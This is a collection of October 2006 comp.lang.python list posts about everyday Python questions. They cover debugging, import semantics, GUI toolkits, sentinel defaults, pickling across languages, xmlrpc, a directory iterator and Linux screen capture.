Date: Sat, 07 Oct 2006 16:28:44 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>	<45254B18.2090806@v.loewis.de><mailman.1379.1160075929.10491.python-list@python.org><YzoVg.137036$zy5.1843214@twister1.libero.it><7x3ba1ltvj.fsf@ruckus.brouhaha.com>	<mailman.1457.1160140815.10491.python-list@python.org><H_IVg.138311$zy5.1854132@twister1.libero.it>
	<mailman.23.1160214637.11739.python-list@python.org>
Message-ID: <0BQVg.138807$zy5.1859480@twister1.libero.it>

Steve Holden wrote:

>> I understand your concerns, but I have to remember you that most bug
>> reports submitted by users go totally ignored for several years, or,
>> better, forever. I do not have a correct statistic for this, but I'm
>> confident that at least 80% of the RFE or patches filed every week
>> is totally ignored, and probably at least 50% of the bugs too. I
>> think there is a much bigger problem here wrt QOS.
>>
>> So, you might prefer 6-10 people to activate a new tracker account
>> faster than light. I'd rather have 3-days delay in administrative
>> issues because our single administrator is sleeping or whatever, and
>> then have 2-3 people doing regular bug processing.
>
> ... and if wishes were horses then beggars would ride.

Are you ever going to try and make a point which is not "you are not entitled
to have opinions because you do not act"? Your sarcasm is getting annoying. And
since I'm not trolling nor flaming, I think I deserve a little bit more of
respect.
-- 
Giovanni Bajo




From rocky at panix.com  Mon Oct 23 12:59:12 2006
From: rocky at panix.com (R. Bernstein)
Date: 23 Oct 2006 12:59:12 -0400
Subject: Debugging
References: <mailman.894.1161423816.11739.python-list@python.org>
	<wihmz7psmhs.fsf@panix3.panix.com>
	<mailman.968.1161596873.11739.python-list@python.org>
Message-ID: <wihmz7ndl3z.fsf@panix3.panix.com>

Fulvio <fulvio at tm.net.my> writes:

> The previous post I might have missed some explaination on my proceeding. I'd 
> say that I'm testing a small program under pdb control 
> (python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and 
> stop the first line code.
> Once I'm at the pdb command line I can issue the commands available inside the 
> pdb itself. 

Okay. 

There's one other pydb command might be of interest. I mentioned the
ability to issue debugger commands by giving the commands as a string
in a command-line option, or putting the debugger commands in a file
and giving the name of a file in a command-line option.  However
*inside* pydb, one can also run a canned set of debugger commands read
in from a file. This is "source" command. Again, this is exactly
analogous the command of the same name in gdb.

Should you want to somehow build such a debugger script from an
interactive debugging session, "set history" and "set logging" might
be helpful.



From bearophileHUGS at lycos.com  Sat Oct 21 04:31:55 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 21 Oct 2006 01:31:55 -0700
Subject: FOR statement
In-Reply-To: <mailman.885.1161418309.11739.python-list@python.org>
References: <1161355135.268792.220290@f16g2000cwb.googlegroups.com>
	<453911b6$0$19616$88260bb3@free.teranews.com>
	<1161417033.963163.275300@i3g2000cwc.googlegroups.com>
	<mailman.885.1161418309.11739.python-list@python.org>
Message-ID: <1161419515.890462.193310@k70g2000cwa.googlegroups.com>

Theerasak Photha:
> I guess Python isn't tail-recursive then?

Right.


> Well, algorithms seem to be more naturally expressed iteratively in
> Python, and to be fair, most uses of recursion you see in e.g., Scheme
> textbooks are really just grandstanding in the real world.

Still, some algorithms enjoy some recursivity anyway, like some graph
or tree exploration, structure flattening, and so on, for them I
sometimes use recursivity in Python too. The maximum recursivity level
can be increased too. Stackeless Python probably helps in recursive
code too. Psyco too. New Python versions have some optimizations for
function calling and so on, than help.
Often iterative code is the simpler solution, but sometimes recursivity
is the simpler solution, so a "better" (faster, leaner) recursivity
management may be good for a hi-level language like Python. So maybe in
future people here will improve its recursivity use some more.

Bye,
bearophile



From steve at holdenweb.com  Tue Oct  3 02:30:41 2006
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 03 Oct 2006 07:30:41 +0100
Subject: Thread hijack: [was Re: php and python: how to unpickle using PHP?]
In-Reply-To: <454FD769B559DD4BAC93B2CCA7BEBDBE8AD13A@namail2.corp.adobe.com>
References: <4521721B.9040002@vtxmail.ch>
	<454FD769B559DD4BAC93B2CCA7BEBDBE8AD13A@namail2.corp.adobe.com>
Message-ID: <eft00t$61c$1@sea.gmane.org>

Ted Zeng wrote:
> Hi, 
> 
> I store some test results into a database after I use python
> To pickle them (say, misfiles=['file1','file2'])
> 
> Now I want to display the result on a web page which uses PHP.
> How could the web page unpickle the results and display them?
> Is there a PHP routine that can do unpickle ?
> 
> Ted zeng
> 
Please don't generate a post by replying to somebody else's message and 
changing the subject and text: newsreader software will see your post as 
a part of the same thread and mix the two subjects, to everyone's confusion.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From deets at nospam.web.de  Sun Oct 29 15:55:06 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sun, 29 Oct 2006 21:55:06 +0100
Subject: "from module import *" and modifying module's top-level vars
In-Reply-To: <1162153086.050052.51610@k70g2000cwa.googlegroups.com>
References: <1162153086.050052.51610@k70g2000cwa.googlegroups.com>
Message-ID: <4qkip8Fnait4U1@uni-berlin.de>

lemke_juergen at yahoo.de schrieb:
> Hi everyone,
> 
> I define some vars and functions in a "support" module which gets
> called from my
> main app module. Using Python 2.5.
> 
> I import all symbols in the support module at the top of the main
> module through:
> 
> from support import *
> 
> Is there a way for me to modify a top-level ("global"?) variable
> defined in module
> support from the code in the main module and still have those changes
> visible to
> code in the support module?

No. The from foo import * will create local bindings of the 
module-globals in the importing module, and there is no implicit link to 
the module's names.

This is the main reason why the "from foo import *"-form is frowned 
upon, and you should refrain from using it.

Use e.g.

import support as s

instead, to get a shorter name for referencing the support module.

Diez


From ptmcg at austin.rr._bogus_.com  Fri Oct  6 14:56:28 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 06 Oct 2006 18:56:28 GMT
Subject: extract certain values from file with re
References: <mailman.1438.1160128294.10491.python-list@python.org>
Message-ID: <wFxVg.14446$5o5.7852@tornado.texas.rr.com>

"Fabian Braennstroem" <f.braennstroem at gmx.de> wrote in message 
news:mailman.1438.1160128294.10491.python-list at python.org...
> Hi,
>
> I would like to remove certain lines from a log files. I had
> some sed/awk scripts for this, but now, I want to use python
> with its re module for this task.
>
> Actually, I have two different log files. The first file looks
> like:
>
>   ...
>   'some text'
>   ...
>
>       ITER I----------------- GLOBAL ABSOLUTE RESIDUAL -----------------I 
> I------------ FIELD VALUES AT MONITORING LOCATION  ----------I
>        NO    UMOM     VMOM     WMOM     MASS     T EN     DISS     ENTH 
> U        V        W        P       TE       ED        T
>         1  9.70E-02 8.61E-02 9.85E-02 1.00E+00 1.61E+01 7.65E+04 0.00E+00 
> 1.04E-01-8.61E-04 3.49E-02 1.38E-03 7.51E-05 1.63E-05 2.00E+01
>         2  3.71E-02 3.07E-02 3.57E-02 1.00E+00 3.58E-01 6.55E-01 0.00E+00 
> 1.08E-01-1.96E-03 4.98E-02 7.11E-04 1.70E-04 4.52E-05 2.00E+01
>         3  2.64E-02 1.99E-02 2.40E-02 1.00E+00 1.85E-01 3.75E-01 0.00E+00 
> 1.17E-01-3.27E-03 6.07E-02 4.02E-04 4.15E-04 1.38E-04 2.00E+01
>         4  2.18E-02 1.52E-02 1.92E-02 1.00E+00 1.21E-01 2.53E-01 0.00E+00 
> 1.23E-01-4.85E-03 6.77E-02 1.96E-05 9.01E-04 3.88E-04 2.00E+01
>         5  1.91E-02 1.27E-02 1.70E-02 1.00E+00 8.99E-02 1.82E-01 0.00E+00 
> 1.42E-01-6.61E-03 7.65E-02 1.78E-04 1.70E-03 9.36E-04 2.00E+01
>   ...


The pyparsing wiki includes an example 
(http://pyparsing.wikispaces.com/space/showimage/dictExample2.py) for 
parsing test data of the form:

+-------+------+------+------+------+------+------+------+------+
|       |  A1  |  B1  |  C1  |  D1  |  A2  |  B2  |  C2  |  D2  |
+=======+======+======+======+======+======+======+======+======+
| min   |   7  |  43  |   7  |  15  |  82  |  98  |   1  |  37  |
| max   |  11  |  52  |  10  |  17  |  85  | 112  |   4  |  39  |
| ave   |   9  |  47  |   8  |  16  |  84  | 106  |   3  |  38  |
| sdev  |   1  |   3  |   1  |   1  |   1  |   3  |   1  |   1  |
+-------+------+------+------+------+------+------+------+------+

and accessing the parsed data (returned in the example in the variable 
'data') as:
print "data keys=", data.keys()
print "data['min']=", data['min']
print "sum(data['min']) =", sum(data['min'])
print "data.max =", data.max
print "sum(data.max) =", sum(data.max)
print "data.columns =", data.columns

Giving:
data keys= ['ave', 'min', 'sdev', 'columns', 'max']
data['min']= [7, 43, 7, 15, 82, 98, 1, 37]
sum(data['min']) = 290
data.max = [11, 52, 10, 17, 85, 112, 4, 39]
sum(data.max) = 330
data.columns = ['A1', 'B1', 'C1', 'D1', 'A2', 'B2', 'C2', 'D2']

Not too disimilar from your example.

-- Paul




From ask at me  Thu Oct 26 07:49:25 2006
From: ask at me (alf)
Date: Thu, 26 Oct 2006 07:49:25 -0400
Subject: PythonMagic - has any body played with it recently
Message-ID: <p4WdnTGAxI7oNt3YnZ2dnUVZ_rWdnZ2d@comcast.com>

Hi,

I downloaded the latest found version and untared it - but can not find 
any information how to install it. I guess it is boost based ...

Has any body played with it recently?
-- 
alf


From Matthew.Warren at Digica.com  Fri Oct 20 06:39:39 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Fri, 20 Oct 2006 11:39:39 +0100
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <eh9nlk$895$1@sea.gmane.org>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B03CDB462@UKEX01.Digica.local>

 

> -----Original Message-----
> From: 
> python-list-bounces+matthew.warren=digica.com at python.org 
> [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> rg] On Behalf Of Fredrik Lundh
> Sent: 20 October 2006 06:43
> To: python-list at python.org
> Subject: Re: Tkinter--does anyone use it for sophisticated 
> GUI development?
> 
> Kevin Walzer wrote:
> 
> > Coming from Tcl/Tk, where there are a huge number of 
> extension packages
> > to enhance the Tk widgets and which allow you to make 
> really polished
> > GUI's, I'm struck mainly by how little of this stuff has 
> made it over
> > into Tkinter/Python. For instance, I've developed several Tcl
> > applications that use the core Tk widgets, the Tile theming 
> package, the
> > Bwidget set (great tree widget and listbox, which allows 
> you to embed
> > images), and tablelist (an extremely flexible muti-column listbox
> > display). I've found Python wrappers for some of this 
> stuff, but almost
> > no documentation on how to use them, and very little in the way of
> > actual applications making use of them--which is itself a red flag.
> 
> on the other hand, such wrappers are usually extremely 
> simple, and the 
> mapping between Python and Tk is trivial.  there's simply not much to 
> add to the existing Tk module docs.
> 
> > Am I better off biting the bullet and learning wxPython--a 
> different GUI
> > paradigm to go with the new language I'm trying to learn?
> 
> that's almost designed to get "wx rul3z d00d" replies from 
> the wx crowd. 
>   let's see if they bite.
> 

Weell,  I'm in no position to evangelise it, but alongised other things
for the past two or three weeks I've been looking into different gui
building tools for python, wxDesigner, BoaConstructor, pythonCard and a
couple of others using both tkInter and wxPython.

I've given up trying to find a good one who's method of operation was
quick to pick up, and I've since written the basics of my GUI by hand in
TkInter and now wxPython (was doing that last night as it goes).

..aand so far wxPython is winning easily on the hand-coded front,
especially once you find the demo package and use it. TkInter took me 3
or 4 days without help to work out and build what I needed. WxPython
took an evening and 1 usenet post. And I think it looks much nicer.
I've yet to see what happens with the event loop of either when I start
to use the threaded scheduler I need in the app but hey...


Matt.

(in wrong place to get to google groups again.. As always apologies for
appended text)
--


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From gagsl-py at yahoo.com.ar  Fri Oct 27 22:00:52 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Fri, 27 Oct 2006 23:00:52 -0300
Subject: Sentinel values for special cases
In-Reply-To: <87zmbhcnd6.fsf@benfinney.id.au>
References: <mailman.1308.1161912647.11739.python-list@python.org>
	<eht5ou$7v5$1@panix3.panix.com>
	<7.0.1.0.0.20061027162224.03fe9e38@yahoo.com.ar>
	<87zmbhcnd6.fsf@benfinney.id.au>
Message-ID: <7.0.1.0.0.20061027224818.01240f28@yahoo.com.ar>

At Friday 27/10/2006 21:09, Ben Finney wrote:

> > > >    GLOBAL = object()
> > > >
> > > >    def insert_ids(ids=GLOBAL):
> > > >        if ids is GLOBAL:
> > > >            ids = get_global_ids()
> > >
> > >The one disadvantage of this approach is that it complicates
> > >pickling if/when you store the stentinel in an instance.  There are
> > >ways of working around that, but none are pleasant.
> >
> > But why should you store the sentinel in an instance? It's only
> > purpose is to detect a special case in the parameter, when None is
> > not appropiate.
>
>You might be storing values that will later become parameters to the
>function.
>
>     ids_to_be_processed_later = {
>         'chin': [14, 7, 9],
>         'bin':  foo.GLOBAL,
>         'fin':  [74, 98, 12],
>     }
>     serialise_stuff()

Well... just don't do that! :)
Instead of a dict, use another class instance with a class attribute 
(like on my earlier post).


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From paddy3118 at netscape.net  Sat Oct  7 01:49:31 2006
From: paddy3118 at netscape.net (Paddy)
Date: 6 Oct 2006 22:49:31 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <1160168050.069336.61710@i3g2000cwc.googlegroups.com>
References: <eg6bku$59b$1@online.de>
	<mailman.1476.1160167145.10491.python-list@python.org>
	<1160168050.069336.61710@i3g2000cwc.googlegroups.com>
Message-ID: <1160200171.328938.158800@i42g2000cwa.googlegroups.com>


bearophileHUGS at lycos.com wrote:
> skip at pobox.com wrote:
> > Ah, wait a moment.  One more tweak.  Make the body class a psyco class.
> > That improves the runtime to 3.02s.  Diff appended.
>
> Nice. Maybe you can do the same trick with:
> from psyco.classes import __metaclass__
>
> If you want you can try that trick with this version of mine:
> http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=psyco&id=3
>
> (I can't try it, precompiled Psyco doesn't exists yet for Py2.5). If
> it's faster, then I can upload some modified version...
>
> Bye,
> bearophile

You might also put the outer loop calling function advance so many
times, into the advance function:

==========
def advance(bodies, dt, n) :
    for i in xrange(n) :
        for i,b in enumerate(bodies) :

    ...

def main() :
    ...
    advance(bodies, 0.01, n)

==========

This I like. It points to areas of python where maybe we should be
adding to the standard library whilst also showing off the cream of the
non-standard libraries out their.

- Paddy.



From skip at pobox.com  Tue Oct 24 13:04:39 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 24 Oct 2006 12:04:39 -0500
Subject: Current stackdepth outside PyEval_EvalFrameEx
In-Reply-To: <200610241850.34018.fabianosidler@gmail.com>
References: <200610230220.47741.fabianosidler@gmail.com>
	<200610241850.34018.fabianosidler@gmail.com>
Message-ID: <17726.18343.179232.927732@montanaro.dyndns.org>


    >> I'm trying to implement a python function that returns the current
    >> stack depth of its frame.

Maybe sys._getframe() or traceback.extract_stack()?

Skip


From MrJean1 at gmail.com  Fri Oct  6 10:06:21 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 6 Oct 2006 07:06:21 -0700
Subject: profiling memory usage
In-Reply-To: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
References: <1160090510.346379.285400@c28g2000cwb.googlegroups.com>
Message-ID: <1160143581.833545.32310@e3g2000cwe.googlegroups.com>

The latest Python release 2.5 includes improvements to the memory
manager and *may* work better for you, it all depends on the root cause
of the problem.  For more details, see the 5th bullet on this page
<http://docs.python.org/whatsnew/ports.html>.

/Jean Brouwers


Eddie wrote:
> Hi,
>
> I am looking for a method to profile memory usage in my python program.
> The program provides web service and therefore is intended to run for a
> long time. However, the memory usage tends to increase all the time,
> until in a day or two the system cannot handle it any more and starts
> to do constant swapping. Is there a way to look at which objects or
> variables are taking the huge amount of memory space?
> 
> Thanks,
> 
> Eddie



From johnjsal at NOSPAMgmail.com  Wed Oct 25 15:22:33 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 19:22:33 GMT
Subject: question about True values
In-Reply-To: <1161803802.110116.127470@m7g2000cwm.googlegroups.com>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
Message-ID: <ZPO%g.156$1n3.3672@news.tufts.edu>

John Coleman wrote:

> But then why is 3.0 == 3 true? They are different types.
> 

Good question. Does one type get converted to the other automatically? 
That's all I can think of...


From hanumizzle at gmail.com  Fri Oct  6 04:48:04 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 04:48:04 -0400
Subject: help on pickle tool
In-Reply-To: <1160124108.779860.236940@i3g2000cwc.googlegroups.com>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<mailman.1404.1160111129.10491.python-list@python.org>
	<1160124108.779860.236940@i3g2000cwc.googlegroups.com>
Message-ID: <463ff4860610060148t6de6cd45ge437f37e02f2c5ad@mail.gmail.com>

On 6 Oct 2006 01:41:48 -0700, virg <06virg at gmail.com> wrote:
> Hi,
>  The data is simple dictionary with one or more keys. If i use YAML at
> the client (webui) do i have to change serialisation method to YAML at
> server also. Without changing serialisation method at server, can i use
> any of the deserialisation methods at the client. We cannot change the
> serialisation methods at the server since it is not under our control.

Oh, poopy.

What do you have at the server end?

-- Theerasak


From http  Wed Oct  4 06:23:36 2006
From: http (Paul Rubin)
Date: 04 Oct 2006 03:23:36 -0700
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>
	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <7xac4cpefr.fsf@ruckus.brouhaha.com>

Antoon Pardon <apardon at forel.vub.ac.be> writes:
> Now in this case you could start by assigning arg the value 1 and
> eliminate the if test. However that only works if you know the
> default value for the argument. What he seems to be asking for
> is if there is an object, (let as call it Default), that would
> make code like:
> 
>   def f(var=1):
> 
> Equivallent to:
> 
>   def f(var=Default)
>     if var is Default)
>       var = 1

Oh, I see.  Yes, the OP should just use a distinct default value
instead of 1.  I usually do this with

   sentinel = object()

   def f(var=sentinel):
     if var is sentinel:
       # f was called without an arg 


From onurb at xiludom.gro  Tue Oct 24 06:29:17 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 24 Oct 2006 12:29:17 +0200
Subject: [OT] Re: can't open word document after string replacements
In-Reply-To: <30f41$453de7c9$544abf75$16552@news.hispeed.ch>
References: <5e2e9$453dbff7$544abf75$9155@news.hispeed.ch>
	<453dd1b8$0$15214$426a74cc@news.free.fr>
	<30f41$453de7c9$544abf75$16552@news.hispeed.ch>
Message-ID: <453deaff$0$11813$426a74cc@news.free.fr>

Antoine De Groote wrote:
> Bruno Desthuilliers wrote:
>> Antoine De Groote wrote:
>>> Hi there,
>>>
>>> I have a word document containing pictures and text. This documents
>>> holds several 'ABCDEF' strings which serve as a placeholder for names.
>>> Now I want to replace these occurences with names in a list (members).
>>
>> Do you know that MS Word already provides this kind of features ?
> 
> 
> No, I don't. Sounds interesting... What is this feature called?

I don't know how it's named in english, but in french it's (well - it
was last time I used MS Word, which is quite some times ago???) "fusion
de documents".



-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From fredrik at pythonware.com  Wed Oct 25 16:36:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 25 Oct 2006 22:36:52 +0200
Subject: cleaner way to write this?
In-Reply-To: <7x4ptsxigt.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>	<j5O%g.150$1n3.4013@news.tufts.edu>	<7xwt6o44um.fsf@ruckus.brouhaha.com>	<%dO%g.151$1n3.4135@news.tufts.edu>	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>	<2qP%g.161$1n3.4136@news.tufts.edu>
	<7x4ptsxigt.fsf@ruckus.brouhaha.com>
Message-ID: <ehoht7$8lv$1@sea.gmane.org>

Paul Rubin wrote:

>> but given that try/except and try/finally used to be separate
>> blocks,
> 
> That old separation was just an artifact of how the parser was
> originally written, I believe.

$ more Misc/HISTORY

    New features in 0.9.6:
    - stricter try stmt syntax: cannot mix except and finally clauses
      on 1 try

</F>



From MonkeeSage at gmail.com  Sat Oct  7 21:34:05 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 7 Oct 2006 18:34:05 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <1160269607.522241.311160@m73g2000cwd.googlegroups.com>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<mailman.1223.1159934114.10491.python-list@python.org>
	<1160179043.266322.311940@i3g2000cwc.googlegroups.com>
	<mailman.1.1160189272.11739.python-list@python.org>
	<1160198110.064741.133700@k70g2000cwa.googlegroups.com>
	<mailman.18.1160209645.11739.python-list@python.org>
	<1160241982.216511.281950@m73g2000cwd.googlegroups.com>
	<mailman.28.1160242710.11739.python-list@python.org>
	<1160262952.734016.306150@e3g2000cwe.googlegroups.com>
	<452846fe.0@entanet>
	<1160267115.309599.26160@e3g2000cwe.googlegroups.com>
	<pan.2006.10.08.00.59.05.695547@REMOVE.THIS.cybersource.com.au>
	<1160269607.522241.311160@m73g2000cwd.googlegroups.com>
Message-ID: <1160271245.931903.9330@k70g2000cwa.googlegroups.com>



On Oct 7, 8:06 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> More often and easier to implement than dict.has_key / get?

More -> Less



From bearophileHUGS at lycos.com  Fri Oct  6 16:54:10 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 6 Oct 2006 13:54:10 -0700
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <mailman.1476.1160167145.10491.python-list@python.org>
References: <eg6bku$59b$1@online.de>
	<mailman.1476.1160167145.10491.python-list@python.org>
Message-ID: <1160168050.069336.61710@i3g2000cwc.googlegroups.com>

skip at pobox.com wrote:
> Ah, wait a moment.  One more tweak.  Make the body class a psyco class.
> That improves the runtime to 3.02s.  Diff appended.

Nice. Maybe you can do the same trick with:
from psyco.classes import __metaclass__

If you want you can try that trick with this version of mine:
http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=psyco&id=3

(I can't try it, precompiled Psyco doesn't exists yet for Py2.5). If
it's faster, then I can upload some modified version...

Bye,
bearophile



From 06virg at gmail.com  Fri Oct  6 00:52:56 2006
From: 06virg at gmail.com (virg)
Date: 5 Oct 2006 21:52:56 -0700
Subject: help on pickle tool
Message-ID: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>

Hi,
     i have client-server application which is written in python using
XMLRPC protocol. The existing client is a command line. Now client
application we are converting it as Web UI using java. I have seen some
problems in writing a java client. At the server for each request from
client, the server sends a response in hashtable and is serialized
using "pickle". The python function we call at the server is

pickle.dumps(r, 2)  -- where r is a hash table which needs to be
serialized

At the client (existing client  which in python) we use this call to
get the original data.

r = pickle.loads(result)

Since i am writing this client as Web UI client using java, i am not
able to deserialize this data
using java function "ObjectInputStream" and "ObjectInputStream" which
are most common functions for deserialization and i getting error as
invalid header.

Is it possible to deserialize the data by java  which serialized by
Python or is there any compatibility issue. Is there any equivalent
pickle tool on java which supports this operation. so that i can use
across languages.

Because of this problem i am not able to proceed further. Any body has
any pointers for this problem. Any help is highly appreciated

Thanks in advance

regards
Virg



From fortepianissimo at gmail.com  Mon Oct 23 00:21:38 2006
From: fortepianissimo at gmail.com (fortepianissimo)
Date: 22 Oct 2006 21:21:38 -0700
Subject: question about xmlrpc server: returning a list of lists to a Java
	client?
Message-ID: <1161577298.179454.140370@m7g2000cwm.googlegroups.com>

I have a simple xmlrpc server/client written in Python, and the client
throws a list of lists to the server and gets back a list of lists.
This runs without a problem.

I then wrote a simple Java xmlrpc client and it calls the python
server. But I can't figure out what type to cast the result (of type
Object) to. The Java xmlrpc call is basically this:


Object result = client.execute("MyFunction", params);


And I tried to replace that line with

 Vector result = (Vector) client.execute("MyFunction", params);

and

ArrayList result = (ArrayList) client.execute("MyFunction", params);

and both gave me  java.lang.ClassCastException.

I'm really not a Java expert - anyone can give a hint or two?

(NOTE the java client/python server works well when the returning
result is of type string - so this rules out some other possible
problems)

Thanks a lot!



From vedran_dekovic at yahoo.com  Sun Oct 15 09:41:39 2006
From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com)
Date: 15 Oct 2006 06:41:39 -0700
Subject: Where I can find
Message-ID: <1160919699.354038.213920@k70g2000cwa.googlegroups.com>

Hello,
Where I can find this files(modules):

fcntl,FCNTL,tty,termios, TERMIOS













                                     THANKS!!!!!!!!!!!



From gagsl-py at yahoo.com.ar  Mon Oct  2 18:25:27 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 02 Oct 2006 19:25:27 -0300
Subject: Python
In-Reply-To: <3671C2002ECC9149B2B5509290F533A6457885@fiscex.FISCHERINTER
	NATIONAL.COM>
References: <3671C2002ECC9149B2B5509290F533A6457885@fiscex.FISCHERINTERNATIONAL.COM>
Message-ID: <7.0.1.0.0.20061002191820.03e7d9f8@yahoo.com.ar>

At Monday 2/10/2006 10:47, Bryan Leber wrote:

>Sorry to bother you again, but I just wanted to give you an update 
>since you have generously helped me. I have it working kind of. I 
>had to fudge it a little bit lol. For some reason if it reads a text 
>file, it will pull out the information and print it to the 
>appropriate file, but if it reads straight from the sys.argv[3] to 
>the pullerList, that's where it has issues, so now I am just writing 
>what is in sys.argv[3] to a text file, then going back and reading 
>it into the pullerList and it seems to be working fine.:) Now onto 
>some polishing up of it. Thanks a lot!

Ah, I guess you are using readlines() to read the file?
 From the command line you'll get "line one\nline two\nline three" so 
you'll have to split it:
lines = received_argument.split('\n')
or perhaps:
lines = received_argument.split('\\n')
(I'm not sure if all involved parties interpret \n the same way...)
>
>----------

Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From Laundro at gmail.com  Tue Oct 31 06:36:08 2006
From: Laundro at gmail.com (LaundroMat)
Date: 31 Oct 2006 03:36:08 -0800
Subject: Help me understand this iterator
Message-ID: <1162294568.168728.178270@m73g2000cwd.googlegroups.com>

Hi,

I've found this script over at effbot
(http://effbot.org/librarybook/os-path.htm), and I can't get my head
around its inner workings. Here's the script:

import os

class DirectoryWalker:
    # a forward iterator that traverses a directory tree

    def __init__(self, directory):
        self.stack = [directory]
        self.files = []
        self.index = 0

    def __getitem__(self, index):
        while 1:
            try:
                file = self.files[self.index]
                self.index = self.index + 1
            except IndexError:
                # pop next directory from stack
                self.directory = self.stack.pop()
                self.files = os.listdir(self.directory)
                self.index = 0
            else:
                # got a filename
                fullname = os.path.join(self.directory, file)
                if os.path.isdir(fullname) and not
os.path.islink(fullname):
                    self.stack.append(fullname)
                return fullname

for file in DirectoryWalker("."):
    print file

Now, if I look at this script step by step, I don't understand:
- what is being iterated over (what is being called by "file in
DirectoryWalker()"?);
- where it gets the "index" value from;
- where the "while 1:"-loop is quitted.

Thanks in advance,

Mathieu



From marijuanated at gmail.com  Tue Oct 31 23:34:53 2006
From: marijuanated at gmail.com (marijuanated at gmail.com)
Date: 31 Oct 2006 20:34:53 -0800
Subject: Updating XML using XPath
Message-ID: <1162355693.760367.114040@i42g2000cwa.googlegroups.com>

Hi All,

Is there a way that I can update the attributes of an XML node and MAKE
IT PERSISTENT in the XML file through the Python XPath API? I tried the
setContent method of the Node but i am only able to update the node
variable not the file content itself. 

Thanks,
Sundar



From paolopantaleo at gmail.com  Mon Oct 23 11:15:29 2006
From: paolopantaleo at gmail.com (Paolo Pantaleo)
Date: Mon, 23 Oct 2006 17:15:29 +0200
Subject: Screen capture on Linux
In-Reply-To: <463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com>
References: <mailman.905.1161450327.11739.python-list@python.org>
	<1161533213.744934.67170@e3g2000cwe.googlegroups.com>
	<463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com>
Message-ID: <83e8215e0610230815r155a5e0ejf867e41246ce787a@mail.gmail.com>

Thnx everybody for the help,

actually I need somethin slightly different. I found about some
external process that can capture the screen, but since I need to
captyre the screen up to 4-5 times a second, I don't want to fork a
new process every time, so I was looking for some library...[This
method works good on Windows]

If needed, I was thinking to write a C module too. I never did it
before, but I am a not so bad C programmer... any suggestion? What
code can I read and eventually reuse? Would the xwd be useful?

Anyway doesn't it exist a Python binding for let's say X APIs ?
[I know about nothing about X programing]

2006/10/22, Theerasak Photha <hanumizzle at gmail.com>:
> On 22 Oct 2006 09:06:53 -0700, sjdevnull at yahoo.com <sjdevnull at yahoo.com> wrote:
> > Paolo Pantaleo wrote:
> > > Hi,
> > >
> > > I need to capture a screen snapshot in Linux. PIL has a module
> > > IageGrab, but in the free version it only works under Windows. Is
> > > there any package to capture the screen on Linux?
> >
> > xwd comes with the X server.  man xwd
> >
> > Most useful is "xwd -root" or similar.  You may want "sleep 5; xwd
> > -root" to give you some time to set things up as needed, or map it to a
> > window manager keybinding.
>
